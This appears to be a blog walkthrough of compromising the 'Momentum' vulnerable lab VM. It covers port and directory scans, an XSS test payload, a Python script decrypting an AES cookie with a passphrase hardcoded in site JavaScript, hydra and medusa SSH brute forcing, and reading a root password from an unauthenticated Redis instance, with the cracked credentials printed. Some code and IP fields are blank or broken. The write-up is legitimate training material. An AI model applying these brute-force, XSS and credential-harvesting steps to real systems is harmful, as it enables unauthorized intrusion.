How I took down Momentum


Target Machine IP Address:
My Machine IP Address:


Boot to Root

1. To get root flag
2. To get root access

Level: Easy/Medium 



You can download the machine from here.


Information Gathering & Scanning Process:

sudo arp-scan --interface=vboxnet0

Target IP:

nmap -sC -sV -p- -Pn -o nmap.log
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5c:8e:2c:cc:c1:b0:3e:7c:0e:22:34:d8:60:31:4e:62 (RSA)
| 256 81:fd:c6:4c:5a:50:0a:27:ea:83:38:64:b9:8b:bd:c1 (ECDSA)
|_ 256 c1:8f:87:c1:52:09:27:60:5f:2e:2d:e0:08:03:72:c8 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Momentum | Index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Since it is running with Apache webserver. Let’s check what website is running on it.

Do you see the value of viewDetails ? Yes, I collect all the values and made a list and then ran a bruteforce (because I know from the nmap result and the box is also running SSH).  But it didn’t work.


Let’s check directories … (because after the bruteforce, I can’t proceed with anything; with the information in my hand.)

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u -o gobuster.log

dirsearch -u -e txt,html,php,bk -w /usr/share/wordlists/dirb/common.txt -f
function viewDetails(str) {

  window.location.href = "opus-details.php?id="+str;

var CryptoJS = require("crypto-js");
var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");

When I see the window.location.href I am not sure about it and then I did a google and first link direct me to this site

It has helped me to confirm that I could use this function for the URL.

So let’s try that..    # 1 is showing. I think we can perform XSS attack on it. Let's confirm it with by throwing my favorite exploit."><img src=x onerror=prompt(1);>;%3C/script%3E

I found this program and I really like it. By the way, if you ran into little problem like if it is not running, then take the time to skill up your debugging skills. I didn’t face the challenge to do debugging.  Although I found simple online tools to do the task, I deliberately took the pain because I would like to little python.

import Crypto
from Cryptodome import Random
from Cryptodome.Cipher import AES
import base64
from hashlib import md5


def pad(data):
length = BLOCK_SIZE - (len(data) % BLOCK_SIZE)
return data + (chr(length)*length).encode()

def unpad(data):
return data[:-(data[-1] if type(data[-1]) == int else ord(data[-1]))]

def bytes_to_key(data, salt, output=48):
# extended from
assert len(salt) == 8, len(salt)
data += salt
key = md5(data).digest()
final_key = key
while len(final_key) < output:
key = md5(key + data).digest()
final_key += key
return final_key[:output]

def encrypt(message, passphrase):
salt =
key_iv = bytes_to_key(passphrase, salt, 32+16)
key = key_iv[:32]
iv = key_iv[32:]
aes =, AES.MODE_CBC, iv)
return base64.b64encode(b"Salted__" + salt + aes.encrypt(pad(message)))

def decrypt(encrypted, passphrase):
encrypted = base64.b64decode(encrypted)
assert encrypted[0:8] == b"Salted__"
salt = encrypted[8:16]
key_iv = bytes_to_key(passphrase, salt, 32+16)
key = key_iv[:32]
iv = key_iv[32:]
aes =, AES.MODE_CBC, iv)
return unpad(aes.decrypt(encrypted[16:]))

password = "SecretPassphraseMomentum".encode()
ct_b64 = "U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt"

pt = decrypt(ct_b64, password)
print("pt", pt)

print("pt", decrypt(encrypt(pt, password), password))


I am not sure whether this could help but I am going to perform a brute force attack again with this box. By the way, I have these information under my belt.


By the way guys, I just did some simple combination. If you following pure combination and permutation then of course the combination will grow (which I will have to do if the current list doesn’t provide us the answer)

Note: I had to struggle a little (wasted close to an hour) because of a stupid space.

hydra -vV -L list2.txt -P list2.txt ssh

medusa -h -U list2.txt -P list2.txt -M ssh

username: auxerre

password: auxerre-alienum##
Protocol: SSH
ssh auxerre@

After this, I was not able to find anything through my usual manual checking so I uploaded inside the target machine to automatically enumerate potential heads-up.  Yes, something caught my eyes.

Looks like redis-server is running on port number 6379.

Let me check it again.

ss -nstap

I must confess here that I have heard a lot about redis but never used on. So let me google for sometime.

To login (resource)

redis-cli -h -p 6379 


help KEYS 


get rootpass

Note: If you think how I was able to find the aforementioned information. I did try my luck as well used some Jungle knowledge.

I press help and then press tab and visit many commands and tried many things because as I told you redis is new to me. When you try KEYS, the terminal recommends to place pattern next to it. It made me feel like I am using grep pattern so I used *. I used to get just because I have been using get command to download files from FTP and few other protocols as well. Therefore, I used that. I know this may not sound logical however, I am going to surely visit this box again later. Just to evaluate myself with redis.

root password: m0mentum-al1enum##

That’s all guys… See you all in my next post 🙂 Happy weekend!

It is 00:27AM here, but not feeling like sleep. I am gonna watch a movie and will hit the sack then 🙂


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